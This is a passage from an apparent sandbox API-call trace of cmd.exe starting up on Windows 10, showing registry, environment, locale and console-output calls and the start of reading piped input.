returned 0x1990d3664a0 [0158.536] FreeEnvironmentStringsA (penv="A") returned 1 [0158.536] GetProcessHeap () returned 0x1990d360000 [0158.536] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0x8) returned 0x1990d366f30 [0158.536] GetEnvironmentStringsW () returned 0x1990d365a10* [0158.536] GetProcessHeap () returned 0x1990d360000 [0158.536] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0xa7c) returned 0x1990d366f50 [0158.536] FreeEnvironmentStringsA (penv="A") returned 1 [0158.536] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x8fb4efe928 | out: phkResult=0x8fb4efe928*=0x7c) returned 0x0 [0158.537] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x8fb4efe920, lpData=0x8fb4efe940, lpcbData=0x8fb4efe924*=0x1000 | out: lpType=0x8fb4efe920*=0x0, lpData=0x8fb4efe940*=0x4, lpcbData=0x8fb4efe924*=0x1000) returned 0x2 [0158.537] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x8fb4efe920, lpData=0x8fb4efe940, lpcbData=0x8fb4efe924*=0x1000 | out: lpType=0x8fb4efe920*=0x4, lpData=0x8fb4efe940*=0x1, lpcbData=0x8fb4efe924*=0x4) returned 0x0 [0158.537] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x8fb4efe920, lpData=0x8fb4efe940, lpcbData=0x8fb4efe924*=0x1000 | out: lpType=0x8fb4efe920*=0x0, lpData=0x8fb4efe940*=0x1, lpcbData=0x8fb4efe924*=0x1000) returned 0x2 [0158.537] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x8fb4efe920, lpData=0x8fb4efe940, lpcbData=0x8fb4efe924*=0x1000 | out: lpType=0x8fb4efe920*=0x4, lpData=0x8fb4efe940*=0x0, lpcbData=0x8fb4efe924*=0x4) returned 0x0 [0158.537] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x8fb4efe920, lpData=0x8fb4efe940, lpcbData=0x8fb4efe924*=0x1000 | out: lpType=0x8fb4efe920*=0x4, lpData=0x8fb4efe940*=0x40, lpcbData=0x8fb4efe924*=0x4) returned 0x0 [0158.537] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x8fb4efe920, lpData=0x8fb4efe940, lpcbData=0x8fb4efe924*=0x1000 | out: lpType=0x8fb4efe920*=0x4, lpData=0x8fb4efe940*=0x40, lpcbData=0x8fb4efe924*=0x4) returned 0x0 [0158.537] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x8fb4efe920, lpData=0x8fb4efe940, lpcbData=0x8fb4efe924*=0x1000 | out: lpType=0x8fb4efe920*=0x0, lpData=0x8fb4efe940*=0x40, lpcbData=0x8fb4efe924*=0x1000) returned 0x2 [0158.537] RegCloseKey (hKey=0x7c) returned 0x0 [0158.537] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x8fb4efe928 | out: phkResult=0x8fb4efe928*=0x7c) returned 0x0 [0158.537] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x8fb4efe920, lpData=0x8fb4efe940, lpcbData=0x8fb4efe924*=0x1000 | out: lpType=0x8fb4efe920*=0x0, lpData=0x8fb4efe940*=0x40, lpcbData=0x8fb4efe924*=0x1000) returned 0x2 [0158.537] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x8fb4efe920, lpData=0x8fb4efe940, lpcbData=0x8fb4efe924*=0x1000 | out: lpType=0x8fb4efe920*=0x4, lpData=0x8fb4efe940*=0x1, lpcbData=0x8fb4efe924*=0x4) returned 0x0 [0158.537] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x8fb4efe920, lpData=0x8fb4efe940, lpcbData=0x8fb4efe924*=0x1000 | out: lpType=0x8fb4efe920*=0x0, lpData=0x8fb4efe940*=0x1, lpcbData=0x8fb4efe924*=0x1000) returned 0x2 [0158.537] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x8fb4efe920, lpData=0x8fb4efe940, lpcbData=0x8fb4efe924*=0x1000 | out: lpType=0x8fb4efe920*=0x4, lpData=0x8fb4efe940*=0x0, lpcbData=0x8fb4efe924*=0x4) returned 0x0 [0158.537] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x8fb4efe920, lpData=0x8fb4efe940, lpcbData=0x8fb4efe924*=0x1000 | out: lpType=0x8fb4efe920*=0x4, lpData=0x8fb4efe940*=0x9, lpcbData=0x8fb4efe924*=0x4) returned 0x0 [0158.537] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x8fb4efe920, lpData=0x8fb4efe940, lpcbData=0x8fb4efe924*=0x1000 | out: lpType=0x8fb4efe920*=0x4, lpData=0x8fb4efe940*=0x9, lpcbData=0x8fb4efe924*=0x4) returned 0x0 [0158.537] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x8fb4efe920, lpData=0x8fb4efe940, lpcbData=0x8fb4efe924*=0x1000 | out: lpType=0x8fb4efe920*=0x0, lpData=0x8fb4efe940*=0x9, lpcbData=0x8fb4efe924*=0x1000) returned 0x2 [0158.537] RegCloseKey (hKey=0x7c) returned 0x0 [0158.537] time (in: timer=0x0 | out: timer=0x0) returned 0x5ca7383f [0158.537] srand (_Seed=0x5ca7383f) [0158.537] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0158.537] malloc (_Size=0x4000) returned 0x1990d5b54f0 [0158.537] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0158.537] malloc (_Size=0xffce) returned 0x1990d460080 [0158.538] ??_V@YAXPEAX@Z () returned 0x1990d460080 [0158.538] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1990d460080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0158.538] malloc (_Size=0xffce) returned 0x1990d470060 [0158.539] ??_V@YAXPEAX@Z () returned 0x1990d470060 [0158.539] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1990d470060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0158.539] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7cb5cbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0158.539] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7cb5cbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0158.539] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7cb5cbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0158.539] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0158.539] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0158.539] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0158.539] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0158.539] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0158.539] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0158.539] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0158.539] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0158.539] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0158.539] GetProcessHeap () returned 0x1990d360000 [0158.539] RtlFreeHeap (HeapHandle=0x1990d360000, Flags=0x0, BaseAddress=0x1990d3664a0) returned 1 [0158.539] GetEnvironmentStringsW () returned 0x1990d365a10* [0158.539] GetProcessHeap () returned 0x1990d360000 [0158.539] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0xa94) returned 0x1990d367a10 [0158.540] FreeEnvironmentStringsA (penv="A") returned 1 [0158.540] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff7cb5cbb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0158.540] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff7cb5cbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0158.540] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0158.540] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0158.540] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0158.540] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0158.540] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0158.540] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0158.540] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0158.540] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0158.540] malloc (_Size=0xffce) returned 0x1990d480040 [0158.540] ??_V@YAXPEAX@Z () returned 0x1990d480040 [0158.540] GetProcessHeap () returned 0x1990d360000 [0158.540] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0x40) returned 0x1990d3684b0 [0158.540] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1990d480040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0158.541] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x1990d480040, lpFilePart=0x8fb4eff4a0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x8fb4eff4a0*="Desktop") returned 0x17 [0158.541] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0158.541] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x8fb4eff1d0 | out: lpFindFileData=0x8fb4eff1d0) returned 0x1990d368500 [0158.729] FindClose (in: hFindFile=0x1990d368500 | out: hFindFile=0x1990d368500) returned 1 [0158.729] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x8fb4eff1d0 | out: lpFindFileData=0x8fb4eff1d0) returned 0x1990d368500 [0158.730] FindClose (in: hFindFile=0x1990d368500 | out: hFindFile=0x1990d368500) returned 1 [0158.730] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x8fb4eff1d0 | out: lpFindFileData=0x8fb4eff1d0) returned 0x1990d368500 [0158.730] FindClose (in: hFindFile=0x1990d368500 | out: hFindFile=0x1990d368500) returned 1 [0158.730] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0158.730] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0158.730] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0158.730] GetProcessHeap () returned 0x1990d360000 [0158.730] RtlFreeHeap (HeapHandle=0x1990d360000, Flags=0x0, BaseAddress=0x1990d367a10) returned 1 [0158.730] GetEnvironmentStringsW () returned 0x1990d360fc0* [0158.730] GetProcessHeap () returned 0x1990d360000 [0158.730] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0xacc) returned 0x1990d368500 [0158.730] FreeEnvironmentStringsA (penv="=") returned 1 [0158.730] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1990d460080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0158.730] GetProcessHeap () returned 0x1990d360000 [0158.730] RtlFreeHeap (HeapHandle=0x1990d360000, Flags=0x0, BaseAddress=0x1990d3684b0) returned 1 [0158.730] ??_V@YAXPEAX@Z () returned 0x1 [0158.730] ??_V@YAXPEAX@Z () returned 0x1 [0158.730] GetProcessHeap () returned 0x1990d360000 [0158.730] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0x4016) returned 0x1990d368fe0 [0158.731] GetProcessHeap () returned 0x1990d360000 [0158.731] RtlFreeHeap (HeapHandle=0x1990d360000, Flags=0x0, BaseAddress=0x1990d368fe0) returned 1 [0158.731] GetConsoleOutputCP () returned 0x1b5 [0159.244] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7cb5cfbb0 | out: lpCPInfo=0x7ff7cb5cfbb0) returned 1 [0159.244] GetUserDefaultLCID () returned 0x409 [0159.245] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff7cb5cbb78, cchData=8 | out: lpLCData=":") returned 2 [0159.245] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x8fb4eff860, cchData=128 | out: lpLCData="0") returned 2 [0159.245] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x8fb4eff860, cchData=128 | out: lpLCData="0") returned 2 [0159.245] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x8fb4eff860, cchData=128 | out: lpLCData="1") returned 2 [0159.245] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff7cb5cbb68, cchData=8 | out: lpLCData="/") returned 2 [0159.245] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff7cb5cbb00, cchData=32 | out: lpLCData="Mon") returned 4 [0159.245] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff7cb5cbac0, cchData=32 | out: lpLCData="Tue") returned 4 [0159.245] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff7cb5cba80, cchData=32 | out: lpLCData="Wed") returned 4 [0159.245] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff7cb5cba40, cchData=32 | out: lpLCData="Thu") returned 4 [0159.245] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff7cb5cba00, cchData=32 | out: lpLCData="Fri") returned 4 [0159.245] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff7cb5cb9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0159.245] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff7cb5cb980, cchData=32 | out: lpLCData="Sun") returned 4 [0159.245] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff7cb5cbb58, cchData=8 | out: lpLCData=".") returned 2 [0159.245] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff7cb5cbb40, cchData=8 | out: lpLCData=",") returned 2 [0159.245] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0159.246] GetProcessHeap () returned 0x1990d360000 [0159.247] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x0, Size=0x20c) returned 0x1990d366560 [0159.247] GetConsoleTitleW (in: lpConsoleTitle=0x1990d366560, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0159.380] _get_osfhandle (_FileHandle=1) returned 0x254 [0159.380] GetFileType (hFile=0x254) returned 0x3 [0159.393] ApiSetQueryApiSetPresence () returned 0x0 [0159.394] ResolveDelayLoadedAPI () returned 0x7ff9123bd990 [0159.890] BrandingFormatString () returned 0x1990d361850 [0160.216] GetVersion () returned 0x3ad7000a [0160.216] _vsnwprintf (in: _Buffer=0x8fb4eff9c0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x8fb4eff958 | out: _Buffer="10.0.15063") returned 10 [0160.216] _get_osfhandle (_FileHandle=1) returned 0x254 [0160.216] GetFileType (hFile=0x254) returned 0x3 [0160.216] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7cb5d7f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0160.216] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7cb5d7f60, nSize=0x2000, Arguments=0x8fb4eff960 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0160.216] _get_osfhandle (_FileHandle=1) returned 0x254 [0160.216] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0160.216] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7cb5c9970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x8fb4eff8b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesWritten=0x8fb4eff8b8*=0x26, lpOverlapped=0x0) returned 1 [0160.217] _vsnwprintf (in: _Buffer=0x7ff7cb5d7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x8fb4eff988 | out: _Buffer="\r\n") returned 2 [0160.217] _get_osfhandle (_FileHandle=1) returned 0x254 [0160.217] GetFileType (hFile=0x254) returned 0x3 [0160.217] _get_osfhandle (_FileHandle=1) returned 0x254 [0160.217] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0160.217] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7cb5c9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x8fb4eff958, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesWritten=0x8fb4eff958*=0x2, lpOverlapped=0x0) returned 1 [0160.217] _vsnwprintf (in: _Buffer=0x7ff7cb5d7f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0x8fb4eff988 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0160.217] _get_osfhandle (_FileHandle=1) returned 0x254 [0160.217] GetFileType (hFile=0x254) returned 0x3 [0160.217] _get_osfhandle (_FileHandle=1) returned 0x254 [0160.217] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0160.217] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7cb5c9970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x8fb4eff958, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesWritten=0x8fb4eff958*=0x34, lpOverlapped=0x0) returned 1 [0160.217] _vsnwprintf (in: _Buffer=0x7ff7cb5d7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x8fb4eff988 | out: _Buffer="\r\n") returned 2 [0160.217] _get_osfhandle (_FileHandle=1) returned 0x254 [0160.217] GetFileType (hFile=0x254) returned 0x3 [0160.217] _get_osfhandle (_FileHandle=1) returned 0x254 [0160.217] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0160.217] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7cb5c9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x8fb4eff958, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesWritten=0x8fb4eff958*=0x2, lpOverlapped=0x0) returned 1 [0160.217] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0160.217] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830 [0160.217] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 0x7ff92fdee300 [0160.217] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40 [0160.217] ??_V@YAXPEAX@Z () returned 0x1 [0160.218] _get_osfhandle (_FileHandle=0) returned 0x248 [0160.218] GetFileType (hFile=0x248) returned 0x3 [0160.218] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0160.218] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x8fb4eff7c8 | out: TokenHandle=0x8fb4eff7c8*=0x0) returned 0xc000007c [0160.218] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x8fb4eff7c8 | out: TokenHandle=0x8fb4eff7c8*=0x94) returned 0x0 [0160.218] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0x8fb4eff778, TokenInformationLength=0x4, ReturnLength=0x8fb4eff780 | out: TokenInformation=0x8fb4eff778, ReturnLength=0x8fb4eff780) returned 0x0 [0160.218] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0x8fb4eff780, TokenInformationLength=0x4, ReturnLength=0x8fb4eff778 | out: TokenInformation=0x8fb4eff780, ReturnLength=0x8fb4eff778) returned 0x0 [0160.218] NtClose (Handle=0x94) returned 0x0 [0160.218] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x8fb4eff790, nSize=0x0, Arguments=0x8fb4eff798 | out: lpBuffer="\x8320\xd36\x199") returned 0xf [0160.218] GetProcessHeap () returned 0x1990d360000 [0160.218] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0x218) returned 0x1990d366c30 [0160.244] GetConsoleTitleW (in: lpConsoleTitle=0x8fb4eff7e0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0160.260] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0160.260] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0160.262] GetProcessHeap () returned 0x1990d360000 [0160.262] RtlFreeHeap (HeapHandle=0x1990d360000, Flags=0x0, BaseAddress=0x1990d366c30) returned 1 [0160.262] LocalFree (hMem=0x1990d368320) returned 0x0 [0160.264] _vsnwprintf (in: _Buffer=0x7ff7cb5d7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x8fb4eff608 | out: _Buffer="\r\n") returned 2 [0160.264] _get_osfhandle (_FileHandle=1) returned 0x254 [0160.264] GetFileType (hFile=0x254) returned 0x3 [0160.264] _get_osfhandle (_FileHandle=1) returned 0x254 [0160.264] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0160.264] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7cb5c9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x8fb4eff5d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesWritten=0x8fb4eff5d8*=0x2, lpOverlapped=0x0) returned 1 [0160.264] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7cb5cbb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0160.264] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1990d460080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0160.264] malloc (_Size=0x107ce) returned 0x1990d470060 [0160.264] _vsnwprintf (in: _Buffer=0x1990d470060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x8fb4eff618 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23 [0160.264] _vsnwprintf (in: _Buffer=0x1990d47008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0x8fb4eff618 | out: _Buffer=">") returned 1 [0160.264] _get_osfhandle (_FileHandle=1) returned 0x254 [0160.264] GetFileType (hFile=0x254) returned 0x3 [0160.264] _get_osfhandle (_FileHandle=1) returned 0x254 [0160.264] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25 [0160.264] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7cb5c9970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x8fb4eff608, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesWritten=0x8fb4eff608*=0x18, lpOverlapped=0x0) returned 1 [0160.265] _get_osfhandle (_FileHandle=0) returned 0x248 [0160.265] GetFileType (hFile=0x248) returned 0x3 [0160.265] _get_osfhandle (_FileHandle=0) returned 0x248 [0160.265] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.265] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0160.265] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0160.265] _get_osfhandle (_FileHandle=0) returned 0x248 [0160.265] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.265] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0160.265] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0160.265] _get_osfhandle (_FileHandle=0) returned 0x248 [0160.265] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.265] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0160.265] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0160.265] _get_osfhandle (_FileHandle=0) returned 0x248 [0160.265] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.265] ReadFile (in: 